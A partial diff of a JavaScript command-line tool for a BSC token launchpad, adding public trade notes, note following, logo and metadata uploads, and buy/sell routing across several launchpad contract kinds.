decoded from previewWork: buy-back / liquidity / observe / split), next commands, and + a warning when the module is bound to another token than the one paying it + gang combo distribute --token [--asset |wbnb] + anyone, once bound: the bound quote (default) is split as the tax is; another asset's + buy-back + LP share goes to 0xdead, the rest to the payees + gang combo release --token [--asset ] [--index ] [--max ] + anyone: push a slot what a failed push left owed (--index = the contract's 0-based + slot, default your own slot or the only one owed) + gang combo set-payee --token --to [--index ] + only the slot's current payee (--index default: your wallet's slot): moves the slot + to --to at once, the share stays. Distributes other known assets waiting first (one + tx each, then re-run) + gang combo bind --token anyone: bind the module to its token (the launch does it) + gang combo chunk --token [--slippage 1] + anyone: one chunk now, as the keeper does (graduated tokens; one per 4 minutes for both + kinds; always the larger set-aside part): minimum tokens = previewChunk less --slippage + (default 1%). Not ready: a call that only records the price. + --module instead of --token names a module directly (not for bind). Gas: the + CLI never sets a gas limit; let the wallet estimate it (a chunk ~0.55–0.75M; each + payee push needs ~365k left before it, up to 10: a lower limit reverts PushStarved). + --testnet, --calldata, --from as in gang v3 gang execute --request-id broadcast a previewed call - gang tx --hash <0x..> wait for receipt and decode Gang events + gang tx --pending a trade that waited for Binance App approval (execute: pendingConfirmation): find its tx + in the wallet's history by the exact call previewed, then as gang tx --hash below + gang tx --hash <0x..> [--testnet] wait for receipt and decode Gang events: V2 / Soft / U / S, GangLaunchpad (V3 / + 打新, 铸币飞轮, tax routers, vaults), GangFlywheelPad (铸币飞轮 pads), split modules, + LP splitters and combined recipients (publishes a queued --note; mainnet). GangLaunchpad events + carry units: "raw" (amounts in wei, 18 decimals; bps / shares as is) + +--note is PUBLIC: shown on gang.fun next to the trade. Its hash goes into the tx calldata, so it is provably written +before the trade and can't be edited later. 1–280 chars, no links. Sent by \`gang execute\` (or \`gang tx\`) within 24h. +--reveal-after 6h seals it: gang.fun holds the text and shows only "a sealed note" until 6h after the trade, then +publishes it automatically. Once sent it can't be withdrawn; a sealed note never sent within 24h counts as unrevealed. + +--follow puts the followed note's tx in the buy's calldata; gang.fun counts followers, money and their 24h result per +note and per agent. Only buy notes and launch manifestos, same token, within 24h of the note and before graduation; +not your own, and buys under $1 don't count. gang.fun is asked first and the buy is refused if it wouldn't count. +Following a sealed or not-yet-public note is a blind follow; if that note is never revealed, the follow is void. +To find notes to follow: \`gang notes\` (what can be followed now, with each author's record), \`gang watch --notes\` +(new ones as they come), \`gang agents\` (who to follow). They only list; each follow is still preview → confirm → execute. Logo UI (browser): ${LOGO_UI} -env: GANG_LAUNCHPAD (default V2 ${ADDR.v2}), GANG_RPC_URL, GANG_LOGO_API` + +A buy / sell / create preview without --note says so in agentNote.hint (also gang v3 / gang fair). When npm has a newer CLI, results carry +update: { current, latest, cmd, skill } (npm is asked at most once a day in the background; GANG_UPDATE_CHECK=0 turns it +off, GANG_UPDATE_URL points it at an npm mirror). + +env: GANG_RPC_URL (one URL or a comma list; unset: five public BSC nodes, the next one tried when one fails), +GANG_LOGO_API, GANG_API (default ${API}), GANG_NOTES_DIR (default ~/.gang/notes), GANG_UPDATE_CHECK, GANG_UPDATE_URL, +GANG_PAD / GANG_TESTNET_PAD (the GangLaunchpad new tokens go to, behind both gang v3 and gang fair; old names GANG_V3_PAD / +GANG_FAIR_PAD and GANG_V3_TESTNET_PAD / GANG_FAIR_TESTNET_PAD still work as aliases), GANG_TESTNET_RPC_URL (aliases +GANG_V3_TESTNET_RPC_URL / GANG_FAIR_TESTNET_RPC_URL), GANG_ROUTER / GANG_TESTNET_ROUTER (alias GANG_ROUTER_TESTNET; GangRouter +for BNB buys / mints and every pool trade). Built in: GangLaunchpad 3.0 (where new tokens go), 2.0, 1.0 and 2.0 金库版 on +mainnet and the testnet. A token is always served by its own generation's pad, router, GangBond and module factories; these +variables (and GANG_BOND / GANG_*_FACTORY) set the create target's only, +GANG_FLY_PAD / GANG_TESTNET_FLY_PAD (GangFlywheelPad V1; default: the built-in mainnet / testnet set 2 addresses), +GANG_FLY_PAD_V2 / GANG_TESTNET_FLY_PAD_V2 (V2; default: the built-in mainnet / testnet V2); new 铸币飞轮 tokens go to the built-in +GangLaunchpad 3.0. --guard / --twap-window (3.0 and V2): the guard is off by default (post-launch minting does not pause +on a price drop; the quota cap of 10 per wallet bounds it); --guard 15|20|30 pauses mints while the pool is that % below its average over --twap-window (30) + +Private RPC: this CLI never broadcasts itself. Trades go out through the Agentic Wallet (gang execute), which picks its +own RPC; a --calldata tx is sent by whatever signs it. To keep a large pool buy out of the public mempool (front-running), +sign the --calldata tx and send it through a private submission endpoint.` function summarizePreview(p, extra = {}) { - if (!p.success) return { success: false, step: extra.step, error: p.error } + if (!p.success) return { success: false, step: extra.step, ...bawError(p.error) } const d = p.data const changes = (d.simulationResult?.balanceChanges || []).map((b) => ({ token: b.contractAddress, type: b.tokenType, change: b.change })) return { @@ -50,20 +662,683 @@ function summarizePreview(p, extra = {}) { } } +// shown on every noted step (buy / sell / create, fair mint / withdraw) without --note: agents with an old local skill +// don't know to write one. +// The CLI can't tell whether the user asked for no note, so the agent decides. +const NO_NOTE = { + attached: false, + hint: 'No note attached. Unless the user said no note, preview again with --note "" [--conf 0-100]: one public line, no links (skill references/notes.md).', +} +const NO_NOTE_SENT = { + attached: false, + hint: 'This trade carries no note. On the next buy / sell / create add --note "", unless the user said no note.', +} + +const attachedNote = (note) => ({ + attached: true, hash: note.hash, text: note.text, conf: note.conf, + ...(note.revealAfter + ? { revealAfterHours: note.revealAfter / 3600, visibility: `sealed: public ${note.revealAfter / 3600}h after the trade` } + : { visibility: 'public after execute' }), +}) + +/** + * A trade preview with the note's commitment (and follow ref) already in `data`: queue the reveal under the preview's + * requestId, and remember what the preview carried so `gang execute` can report on it. + */ +function summarizeWithNote(p, extra, note, kind, follow = null) { + const s = summarizePreview(p, extra) + if (!s.success) return s + if (note) { + queueNote(note, { kind, token: extra.token ?? null, requestId: s.requestId }) + s.agentNote = attachedNote(note) + } else { + s.agentNote = NO_NOTE + } + if (follow) s.follow = { attached: true, ...follow } + rememberPreview(s.requestId, { kind, noted: !!note, ...(follow && { followed: follow.noteTx }) }) + return s +} +/** The buy step itself: price the follow (setup steps skip this API call). */ +const pricedFollow = (follow, token, pad, q) => follow && withUsd(follow, token, pad.kind === 'soft' ? 'soft' : 'v2', q.spent) +const noteSkipped = (note) => + note ? { agentNote: { attached: false, reason: 'this setup step carries no note; pass --note again on the re-run' } } : {} + +// GangLaunchpad steps gang.fun matches a note to (mainnet): curve trades, creates and fair-mint txs. buy / sell of a +// graduated or launched token are PancakeSwap trades: they take --note but carry none, as `gang buy` / `gang sell`. +const PAD_NOTED = { v3: ['create', 'buy', 'sell'], fair: ['create', 'mint', 'withdraw', 'buy', 'sell'] } +const POOL_NO_NOTE = { attached: false, reason: 'notes are matched to curve trades only: this PancakeSwap trade carries none' } + +/** + * --note / --follow for `gang v3 ` / `gang fair ` (`gang create` = gang v3 create). `pre`: the note and the + * follow `gang follow` already parsed / confirmed. The pad modules use: + * following → a follow was asked for (--follow, or `gang follow`) + * follow(token, me) → the follow, checked with gang.fun (null without one; fails if it can't count) + * priced(follow, token, spent, decimals) → it with the buy's USD value (only on the buy step: setup steps skip the call) + * step(ctx, tx, extra, kind, follow) → the write step with the follow ref and note commitment in its calldata + * skipped(follow) → the fields a wrap / approve step shows instead + * pool → the fields a PancakeSwap trade shows + */ +function padNotes(kind, sub, pre = {}) { + const testnet = flag('testnet') + if (testnet && (flag('note') || flag('follow') || pre.checked)) { + fail('--note / --follow are mainnet only: gang.fun does not index testnet txs; leave them out with --testnet') + } + const note = 'note' in pre ? pre.note : parseNote() + const followTx = pre.checked ? pre.checked.noteTx : parseFollow() + if (note && !PAD_NOTED[kind].includes(sub)) fail(`--note applies to ${PAD_NOTED[kind].join(' / ')} on ${KIND_NAMES[kind]} only`) + const rawOnly = flag('calldata') + return { + following: !!followTx, + async follow(token, me) { + if (!followTx) return null + return pre.checked ?? (await confirmFollow(followTx, me, token)).follow + }, + priced: (follow, token, spent, decimals) => follow && withUsd(follow, token, 'v3', spent, decimals), + step(ctx, { data, ...tx }, extra, noteKind, follow = null) { + if (testnet) return writeStep(ctx, { data, ...tx }, extra, rawOnly, summarizePreview) + const noted = { ...tx, data: withNote(withFollow(data, follow), note) } + if (!rawOnly) return writeStep(ctx, noted, extra, false, (p, e) => summarizeWithNote(p, e, note, noteKind, follow)) + // --calldata: signed elsewhere, so the note waits in the local queue for `gang tx --hash` once the tx lands + const r = writeStep(ctx, noted, extra, true) + if (note) queueNote(note, { kind: noteKind, token: extra.token ?? null, requestId: null }) + return { + ...r, + agentNote: note ? { ...attachedNote(note), publish: 'after the tx lands, `gang tx --hash ` on this machine publishes it' } : NO_NOTE, + ...(follow && { follow: { attached: true, ...follow } }), + } + }, + skipped: (follow) => ({ ...noteSkipped(note), ...followSkipped(follow) }), + pool: note ? { agentNote: POOL_NO_NOTE } : {}, + } +} + +/** Reveal after the tx is mined (the server checks receipt status). Failures don't affect the trade. */ +async function revealNote(entry, hash) { + let receipt + try { + receipt = await client.waitForTransactionReceipt({ hash, timeout: 60_000 }) + } catch (e) { + // viem keeps polling through RPC errors, so an unreachable RPC also ends up as the 60s timeout + const timedOut = e.name === 'WaitForTransactionReceiptTimeoutError' + return { + published: false, error: timedOut ? 'receipt_timeout' : 'rpc_error', + detail: timedOut ? 'no receipt within 60s (not mined yet, or RPC unreachable)' : e.shortMessage || e.message.split('\n')[0], + retry: `gang tx --hash ${hash}`, + } + } + if (receipt.status !== 'success') return { published: false, error: 'tx_failed' } + return withRetry(await publishNote(entry, hash), hash) +} +// only transient failures are worth a retry (network, 5xx incl. rpc_unavailable, rate_limited, tx_not_found); +// conflict / hash_mismatch / reveal_expired / bad_* are final +const withRetry = (r, hash) => + !r.published && (!r.httpStatus || r.httpStatus >= 500 || r.httpStatus === 429 || r.error === 'tx_not_found') + ? { ...r, retry: `gang tx --hash ${hash}` } : r + +// logo.js marks network / 5xx failures retryable; anything else needs a different image or URL +const retryHint = (e) => (e.retryable ? { retry: 'same command again' } : {}) + async function resolveLogoUri() { const uri = opt('logo-uri') const file = opt('logo') || opt('logo-file') || opt('file-logo') + // `--logo-uri ""` is the documented empty logo; a missing value (or the next flag) is a mistake + if (flag('logo-uri') && (uri == null || uri.startsWith('--'))) fail('--logo-uri needs a URL; use --logo ./file.png for a local image') if (uri && file) fail('use either --logo-uri or --logo/--logo-file, not both') - if (uri) return { logoURI: uri, uploaded: false } + if (flag('keep-logo-uri') && !uri) fail('--keep-logo-uri only applies together with --logo-uri ') + if (uri) { + // a file on gang.fun's IPFS bucket (ipfs:// or its CDN URL) goes on-chain as ipfs://, once the CDN serves it + const cid = ipfsCid(uri) + if (cid || isGangLogo(uri)) { + try { + await checkGangLogo(cid ? cdnUrl(cid) : uri) + } catch (e) { + // an ipfs:// file that is not on gang.fun may be pinned elsewhere: on-chain as is only when asked + const elsewhere = isIpfsUri(uri) && !e.retryable + if (elsewhere && flag('keep-logo-uri')) return { logoURI: uri, uploaded: false } + fail(e.message, elsewhere ? { hint: 'not on gang.fun: use --logo ./file.png, or --keep-logo-uri if this file stays pinned on IPFS' } : retryHint(e)) + } + return { logoURI: cid ? ipfsUri(cid) : uri, uploaded: false } + } + const temp = tempHost(uri) + // logoURI can't be changed after create, so an image on another host is copied to gang.fun first + if (flag('keep-logo-uri')) { + if (temp) fail(`${temp} deletes uploads after a while, so this logo would break and can't be fixed on-chain; drop --keep-logo-uri (the image is then copied to gang.fun) or use --logo ./file.png`) + return { logoURI: uri, uploaded: false } + } + try { + const up = await rehostLogoUrl(uri) + return { logoURI: up.logoUrl, uploaded: true, upload: up } + } catch (e) { + fail(e.message, e.retryable ? { retry: 'same command again' } : { hint: temp + ? `${temp} deletes uploads after a while; save the image and use --logo ./file.png` + : 'use --logo ./file.png, or --keep-logo-uri if this URL is permanent (e.g. ipfs://) and should go on-chain as is' }) + } + } if (file) { - const up = await uploadLogoFile(file) + const up = await uploadLogoFile(file).catch((e) => fail(e.message, retryHint(e))) return { logoURI: up.logoUrl, uploaded: true, upload: up } } return { logoURI: '', uploaded: false } } +/** + * --website / --twitter / --description of `gang v3 create` / `gang fair create`. The create commands call this first, + * so a bad value fails before any wrap / approve step or upload; resolveMetaUri reads the same flags again. + */ +function parseMeta() { + const links = parseLinks() + const description = opt('description') + if (flag('description') && (description == null || description.startsWith('--'))) { + fail('--description needs text right after it (leave the flag out for none)') + } + if (description && description.length > 1000) fail('--description is at most 1000 characters', { got: description.length }) + return { description: description?.trim() || null, links } +} + +/** + * `gang v3 create` / `gang fair create`: --website / --twitter / --description and the logo go into the token's metadata + * JSON, uploaded to gang.fun; its URL is the token's contractURI() / metaURI(), fixed on-chain at create. + */ +async function resolveMetaUri({ name, symbol, logoURI }) { + const { description, links } = parseMeta() + const meta = { name, symbol, description, image: logoURI, external_link: links?.website, twitter: links?.twitter } + try { + const up = await uploadMetadata(meta) + return { metaURI: up.uri, metadata: up.metadata } + } catch (e) { + return fail(e.message, retryHint(e)) + } +} + +/** + * buy --token/--bnb with the already parsed --note, and an optional follow ref (from `--follow`, or `gang follow` with + * its check already done). + */ +async function buy(token, bnb, note, followTx, checked = null) { + if (flag('testnet')) fail(NOT_TESTNET) + const slippage = parseSlippage(opt('slippage', '1')) + const from = fromArg() + const me = from || bawAddress() + const info = await tokenInfo(token, me) + if (from && !info.graduated) fail(FROM_CURVE) + if (info.graduated) { + // graduated: buy in the PancakeSwap pool through GangRouter (--bnb = the amount to spend, in BNB or the quote) + if (followTx) fail('--follow only counts on curve buys before graduation; this token trades on PancakeSwap now', { pair: info.pair }) + return v2PoolTrade('buy', token, info, me, note, { amount: parseAmount(fail, 'bnb', bnb) }) + } + if (!(await isAgent(me))) fail('this wallet holds no Agent ID (.ai); buying is gated', { address: me }) + const follow = checked ?? (followTx ? (await confirmFollow(followTx, me, token)).follow : null) + const rerun = cmd === 'follow' ? '`gang follow`' : '`gang buy`' + const pad = await resolvePad(token) + const q = await quoteBuy(token, me, bnb) + if (q.tokensOut === 0n) fail('wallet cap reached or zero out', { myBalance: info.myBalance }) + const minOut = (q.tokensOut * BigInt(Math.round((100 - slippage) * 100))) / 10000n + + if (pad.kind === 'soft') { + const data = withNote(withFollow(calldata.softBuy(token, minOut), follow), note) + const p = bawPreview({ from: me, to: pad.address, value: parseEther(bnb), data }) + const priced = await pricedFollow(follow, token, pad, q) + return out(summarizeWithNote(p, { + step: 'buy', kind: 'soft', token, symbol: info.symbol, pad: pad.id, + bnbSent: bnb, expectTokens: q.tokensOutFmt, expectSpent: q.spentFmt, fee: q.feeFmt, + expectRefund: q.refundFmt, minTokensOut: fmtTok(minOut), + }, note, 'buy', priced)) + } + + // V2 / U / S: buy(token, quoteIn, minTokensOut) pulls quote ERC-20, so: enough quote → approve → buy + const quoteIn = parseEther(bnb) + const [have, allow] = await Promise.all([balanceOf(info.quote, me), allowance(info.quote, me, pad.address)]) + if (have < quoteIn) { + const short = quoteIn - have + if (info.quote.toLowerCase() !== ADDR.wbnb.toLowerCase()) { + fail('not enough quote token for this buy (V2 pays in the quote ERC-20, not BNB)', { + quote: info.quote, need: fmt(quoteIn), have: fmt(have), + }) + } + // WBNB-quoted: wrap the shortfall from native BNB, keeping enough native BNB for wrap + approve + buy gas + const native = await client.getBalance({ address: me }) + if (native < short + GAS_RESERVE) { + fail('not enough BNB + WBNB for this buy (native BNB must also cover gas)', { + needWbnb: fmt(quoteIn), haveWbnb: fmt(have), haveBnb: fmt(native), reserveForGas: fmt(GAS_RESERVE), + }) + } + const p = bawPreview({ from: me, to: info.quote, value: short, data: calldata.wrap() }) + return out(summarizePreview(p, { + step: 'wrap-bnb', kind: 'v2', token, symbol: info.symbol, pad: pad.id, quote: info.quote, + wrap: fmt(short), haveWbnb: fmt(have), needWbnb: fmt(quoteIn), + note: `V2 buys pay in WBNB. Wrap BNB → WBNB first. After it confirms, re-run the same ${rerun} (approve, then the buy).`, + ...noteSkipped(note), ...followSkipped(follow), + })) + } + if (allow < quoteIn) { + const p = bawPreview({ from: me, to: info.quote, data: calldata.approve(pad.address, quoteIn) }) + return out(summarizePreview(p, { + step: 'approve-quote', kind: 'v2', token, symbol: info.symbol, pad: pad.id, quote: info.quote, + amount: bnb, note: `Approve quote ERC-20 first. After it confirms, re-run the same ${rerun} to preview the buy.`, + ...noteSkipped(note), ...followSkipped(follow), + })) + } + const data = withNote(withFollow(calldata.v2Buy(token, quoteIn, minOut), follow), note) + const p = bawPreview({ from: me, to: pad.address, data }) + const priced = await pricedFollow(follow, token, pad, q) + return out(summarizeWithNote(p, { + step: 'buy', kind: 'v2', token, symbol: info.symbol, pad: pad.id, quote: info.quote, + quoteIn: bnb, expectTokens: q.tokensOutFmt, expectSpent: q.spentFmt, fee: q.feeFmt, + expectRefund: q.refundFmt, minTokensOut: fmtTok(minOut), quotePath: q.quotePath, deterministic: q.deterministic || false, + }, note, 'buy', priced)) +} + +/** gang sell on a V2 / Soft / U / S token: the curve, or (graduated) the PancakeSwap pool through GangRouter. */ +async function legacySell(token) { + const note = parseNote() + parseFollow() // refuses --follow: only buys follow a note + if (flag('testnet')) fail(NOT_TESTNET) + const from = fromArg() + const me = from || bawAddress() + const info = await tokenInfo(token, me) + if (from && !info.graduated) fail(FROM_CURVE) + if (!flag('all') && !opt('amount')) fail('pass --amount or --all (full sell is no longer the default)') + if (flag('all') && opt('amount')) fail('use either --all or --amount, not both') + // graduated: sell into the PancakeSwap pool through GangRouter + if (info.graduated) { + return v2PoolTrade('sell', token, info, me, note, { amount: flag('all') ? null : parseAmount(fail, 'amount', opt('amount')), all: flag('all') }) + } + const bal = await balanceOf(token, me) + if (bal === 0n) fail('no balance to sell') + const amount = flag('all') ? bal : parseEther(opt('amount')) + if (amount > bal) fail('amount exceeds balance', { balance: fmtTok(bal) }) + const pad = await resolvePad(token) + const allow = await allowance(token, me, pad.address) + if (allow < amount) { + const p = bawPreview({ from: me, to: token, data: calldata.approve(pad.address, amount) }) + return out(summarizePreview(p, { + step: 'approve', token, symbol: info.symbol, pad: pad.id, amount: fmtTok(amount), + note: 'Approve first. After it confirms on-chain, run the same `gang sell` again to preview the sell.', + ...noteSkipped(note), + })) + } + const slippage = parseSlippage(opt('slippage', '1')) + const q = await quoteSell(token, amount) + const minOut = (q.out * BigInt(Math.round((100 - slippage) * 100))) / 10000n + if (pad.kind === 'soft') { + const p = bawPreview({ from: me, to: pad.address, data: withNote(calldata.softSell(token, amount, minOut), note) }) + return out(summarizeWithNote(p, { + step: 'sell', kind: 'soft', token, symbol: info.symbol, pad: pad.id, + amount: fmtTok(amount), expectOut: q.outFmt, fee: q.feeFmt, minOut: fmt(minOut), unit: 'BNB', + }, note, 'sell')) + } + const p = bawPreview({ from: me, to: pad.address, data: withNote(calldata.v2Sell(token, amount, minOut), note) }) + return out(summarizeWithNote(p, { + step: 'sell', kind: 'v2', token, symbol: info.symbol, pad: pad.id, quote: info.quote, + amount: fmtTok(amount), expectOut: q.outFmt, fee: q.feeFmt, minOut: fmt(minOut), unit: 'quote', quotePath: q.quotePath, deterministic: q.deterministic || false, + }, note, 'sell')) +} + +const TAXED_HINT = 'Set the pool tax with --buy-tax / --sell-tax (1–5% each; --buy-tax 1 --sell-tax 1 --dividend 100 is closest to the old 1% taxed track), or leave them out for an untaxed token.' +const PAD_AGENT_ABI = parseAbi(['function isAgent(address account) view returns (bool)']) +/** + * The create gate is GangLaunchpad's (mainnet); the V2 / Soft gate only if the pad can't be read. Same answer today: both + * pads gate on Agent ID registry 0x60B9…022f (read on chain 2026-10-28). + */ +const createGateAgent = (me) => + client.readContract({ address: padNets('v3').mainnet.pad, abi: PAD_AGENT_ABI, functionName: 'isAgent', args: [me] }).catch(() => isAgent(me)) + +// what `gang v3` / `gang fair` (and `gang create`) get from here; each call adds its `notes` (padNotes) +const PAD_IO = { opt, flag, out, fail, summarize: summarizePreview, resolveLogo: resolveLogoUri, checkMeta: parseMeta, resolveMeta: resolveMetaUri } +/** `gang create … --dev-buy … [--bond …]` / `gang fair create … --bond …`: one command, one tx per run (launch.js). */ +const LAUNCH_DEPS = { io: PAD_IO, runV3, runFair, runBond, padNotes: (kind, sub, pre) => padNotes(kind, sub, pre) } + +// ---------------------------------------------------------------- one command per action, whatever the pad +// gang buy|sell|info|status|claim|mint|withdraw|release --token ask GangLaunchpad's kindOf what the token is and +// run that kind's code: V3 curve (v3.js), 打新 sale (fair.js), else the mainnet V2 / Soft / U / S pads (here). A new pad +// is a new kind in this table, not new commands; gang v3 / gang fair stay as aliases of the same code. +const V3_VERBS = new Set(['buy', 'sell', 'info', 'status', 'claim', 'release']) +const FAIR_VERBS = new Set(['buy', 'sell', 'info', 'status', 'claim', 'mint', 'withdraw']) +const FLY_VERBS = new Set(['buy', 'sell', 'info', 'status', 'claim', 'mint', 'withdraw', 'release']) +const KIND_NAMES = { + v3: 'a V3 (bonding-curve) token', fair: 'a 打新 (fair-mint) token', fly: 'a 铸币飞轮 (Mint Flywheel) token', legacy: 'a V2 / Soft / U / S token', +} +// what the V2 / Soft / U / S code runs: it looks the token up on those pads itself, so it can also take a token whose kindOf +// could not be read (a GangLaunchpad token then gets a pointer from resolvePad instead of a wrong answer) +const LEGACY_VERBS = new Set(['buy', 'sell', 'info', 'status', 'quote']) +/** Why a command does not apply to a kind, and what to run instead. */ +const NOT_FOR = { + v3: { + mint: 'a V3 token has no shares: gang buy --token … --amount ', + withdraw: 'a V3 token has no shares: gang sell --token … (--amount | --all)', + }, + fair: { release: '打新 tokens have no tax recipient: the pool tax goes to minters and the platform (gang claim for the reward)' }, + legacy: { + claim: 'V2 / Soft / U / S tokens pay no dividend here', + release: 'V2 / Soft / U / S tokens have no tax recipient to pay', + mint: 'mint / withdraw are for 打新 sales: gang buy / gang sell trade this token', + withdraw: 'mint / withdraw are for 打新 sales: gang buy / gang sell trade this token', + }, +} + +/** + * 'v3' | 'fair' | 'fly' on GangLaunchpad, 'fly' on GangFlywheelPad (mainnet, or BSC testnet with --testnet); else 'legacy' + * (mainnet V2 / Soft / U / S). + * kindOf unreadable (RPC): 'legacy' only for a verb that code checks again (LEGACY_VERBS), a retry hint otherwise. + */ +async function padKind(token, verb) { + const testnet = flag('testnet') + let ctx + try { ctx = v3Ctx(testnet) } catch (e) { fail(e.message) } + // every GangLaunchpad generation of this network (3.0, 2.0, 1.0, 2.0 金库版) is asked + const { kind } = await genOf(ctx, token) + if (kind === 'v3' || kind === 'fair' || kind === 'fly') return kind + // not GangLaunchpad's: the older 铸币飞轮 pads (GangFlywheelPad V1 / V2) are asked next + const fly = await isFlyToken(flyCtx(testnet), token) + if (fly) return 'fly' + if (fly === null && (testnet || !LEGACY_VERBS.has(verb))) { + fail('could not read the token\'s kind from GangFlywheelPad (kindOf; RPC error)', { token, retry: 'same command again' }) + } + if (kind === null && (testnet || !LEGACY_VERBS.has(verb))) { + fail('could not read the token\'s kind from GangLaunchpad (kindOf; RPC error)', { token, retry: 'same command again' }) + } + if (testnet) fail('not a GangLaunchpad token on BSC testnet (V2 / Soft / U / S have no testnet deployment)', { token }) + return 'legacy' +} + +/** --amount (or --bnb, its older name on buy / quote): what a buy spends, in the token's quote (BNB / WBNB for most). */ +const spendArg = () => { + if (flag('amount') && flag('bnb')) fail('give the amount once: --amount (--bnb is the older name of the same flag)') + return opt('amount') ?? opt('bnb') +} +// gang fair buy reads --amount only: --bnb is handed to it under that name +const amountIo = (io) => (flag('bnb') && !flag('amount') + ? { ...io, opt: (n, d) => (n === 'amount' ? opt('bnb') : opt(n, d)), flag: (n) => (n === 'amount' || flag(n)) } + : io) +/** + * gang portfolio's reads: the `gang status` / `gang bond status` of one token for one wallet, run in-process. The result + * comes back instead of being printed, and a refusal throws instead of exiting, so one bad token does not end the run. + */ +const capturedIo = (token, wallet) => ({ + ...PAD_IO, + opt: (n, d) => (n === 'token' ? token : n === 'from' ? wallet : d), + flag: (n) => n === 'token' || n === 'from', + out: (o) => o, + fail: (msg) => { throw new Error(msg) }, +}) +const captured = (r) => { + if (r?.success === false) throw new Error(r.error || 'failed') + return r +} +async function portfolioStatus(kind, token, wallet, indexed) { + if (kind === 'legacy') { + // an old token none of today's V2 / Soft / U / S reads know: the balance alone, from the token + return tokenInfo(token, wallet).catch(async (e) => { + if (!/not a Gang token/.test(e.message)) throw e + return { graduated: indexed.status === 'graduated', myBalanceRaw: (await balanceOf(token, wallet)).toString() } + }) + } + if (kind === 'fly') return captured(await runFly('status', capturedIo(token, wallet))) + const io = { ...capturedIo(token, wallet), notes: padNotes(kind, 'status') } + return captured(await (kind === 'v3' ? runV3('status', io) : runFair('status', io))) +} +const portfolioBond = async (token) => captured(await runBond('status', capturedIo(token, null))) + +// every result of a routed V3 / 打新 command says which kind ran (V2 / Soft results carry their own kind already) +const tagKind = (kind) => (o) => out(o && typeof o === 'object' && !('kind' in o) ? { kind, ...o } : o) + +/** --token: missing and malformed told apart (viem refuses a mixed-case address whose checksum is wrong). */ +const tokenArg = () => { + const token = opt('token') + if (!token || token.startsWith('--')) fail('--token
required') + if (!isAddress(token)) fail('--token must be a 0x address (40 hex; in mixed case the checksum must be right, or write it all in lower case)', { got: token }) + return token +} + +/** gang --token : the kind's code for it, or why it does not apply. */ +async function routed(verb) { + const token = tokenArg() + // refused before any RPC: both --amount and --bnb, a malformed --note / --conf / --reveal-after, a bad --follow (the + // note itself is built again by the kind's code) + if (verb === 'buy') spendArg() + parseNote() + parseFollow() + if (flag('ref') && !(verb === 'buy' || verb === 'mint')) fail('--ref (an inviter) applies to gang buy / mint / follow only', { token }) + const kind = await padKind(token, verb) + // 铸币飞轮 mints name the inviter in the contract call (fly.js); every other buy / mint carries the invite tag + if (flag('ref') && kind !== 'fly') await resolveRef(fromArg() || (bawStatus() === 'CONNECTED' ? bawAddress() : null)) + const io = { ...PAD_IO, out: tagKind(kind) } + if (kind === 'v3' && V3_VERBS.has(verb)) return runV3(verb, { ...io, notes: padNotes('v3', verb) }) + if (kind === 'fly' && FLY_VERBS.has(verb)) { + if (flag('follow')) fail('--follow only counts on curve buys (V3 / V2 tokens): a 铸币飞轮 token has no curve', { token }) + return runFly(verb, amountIo(io)) + } + if (kind === 'fair' && FAIR_VERBS.has(verb)) { + if (flag('follow')) fail('--follow only counts on curve buys (V3 / V2 tokens): a 打新 token has no curve', { token }) + return runFair(verb, { ...amountIo(io), notes: padNotes('fair', verb) }) + } + if (kind === 'legacy') { + if (verb === 'buy') { + const amount = spendArg() + if (!amount) fail('--amount required (what to spend: BNB on Soft, the quote ERC-20 on V2 / U / S)') + return buy(token, amount, parseNote(), parseFollow()) + } + if (verb === 'sell') return legacySell(token) + // a note goes on a trade only (as on V3 / 打新, where padNotes refuses it on info / status) + if (flag('note')) fail(`--note applies to buy / sell on ${KIND_NAMES.legacy} only`) + // no wallet needed (baw is optional here): with one, the result also shows its balance + if (verb === 'info') return out({ success: true, ...(await tokenInfo(token, myAddress() ?? undefined)) }) + if (verb === 'status') { + const me = fromArg() || bawAddress() + return out({ success: true, wallet: me, ...(await tokenInfo(token, me)) }) + } + } + // a V2 / Soft result names its pad's kind ('v2' | 'soft'); here the pad is not looked up, so no kind for them + return fail(`gang ${verb} does not apply to ${KIND_NAMES[kind]}`, { token, ...(kind !== 'legacy' && { kind }), hint: NOT_FOR[kind][verb] }) +} + +// what each gang v3 / gang fair subcommand is now: their results carry it as `useInstead` (the aliases keep working) +const UNIFIED = { + v3: { create: 'gang create', list: 'gang list --kind v3', tx: 'gang tx' }, + fair: { create: 'gang create --fair', list: 'gang list --kind fair', tx: 'gang tx' }, + fly: { create: 'gang create --fly', list: 'gang list --kind fly', tx: 'gang tx', 'claim-dev': 'gang release' }, +} +function alias(kind, sub) { + const verbs = { v3: V3_VERBS, fair: FAIR_VERBS, fly: FLY_VERBS }[kind] + const use = UNIFIED[kind][sub] ?? (verbs.has(sub) ? `gang ${sub}` : null) + const io = kind === 'fly' ? { ...PAD_IO } : { ...PAD_IO, notes: padNotes(kind, sub) } + if (!use) return io + return { ...io, out: (o) => out(o && typeof o === 'object' ? { ...o, useInstead: `${use} (same flags)` } : o) } +} + +// 铸币飞轮 settings beyond those it shares with 打新 (--raise / --hold / --mint-fee / --exit-fee) and V3 (--sell-tax) +const FLY_ONLY_FLAGS = FLY_CREATE_FLAGS.filter((f) => !['raise', 'hold', 'mint-fee', 'exit-fee', 'sell-tax'].includes(f)) +const FLY_NO_BOND = '铸币飞轮 tokens take no GangBond, buy-back splitter, split module, LP splitter, combined recipient or --dev-buy (phase 1): the creator mints its shares in the create with --dev-shares ' +/** The flags a 铸币飞轮 create refuses (gang create --fly and gang fly create alike). */ +function checkFlyCreate() { + if (flag('fair')) fail('give --fly (铸币飞轮) or --fair (打新), not both') + const wrong = ['buy-tax', 'dividend', 'recipient', 'cap', 'shares'].find(flag) + if (wrong) { + fail(wrong === 'buy-tax' ? '--buy-tax: a 铸币飞轮 token\'s buy tax is fixed at 1% (--sell-tax 1-2 sets the sell tax)' + : wrong === 'shares' ? '--shares is 打新\'s: a 铸币飞轮 creator mints with --dev-shares ' + : wrong === 'cap' ? '--cap is 打新\'s: a 铸币飞轮 sale has a quota per wallet, --quota <5-100> (+ --invite-bonus)' + : `--${wrong} is a V3 tax setting; a 铸币飞轮 token's tax goes to holders, the platform and the creator in fixed parts`) + } +} +const VAULT_ALONE = 'a --vault create stands alone: no chained dev buy, GangBond or buy-back / split / LP / combined recipient (the 2.0 金库版 pad has none of them); a dev buy is its own gang buy after the create lands' +// --grad picks a V3 curve's graduation target (2.0 / 3.0); a 打新 / 铸币飞轮 sale ends at its own --raise +const GRAD_ONLY_V3 = (what) => `--grad is a V3 curve setting (the graduation target, 2.0 / 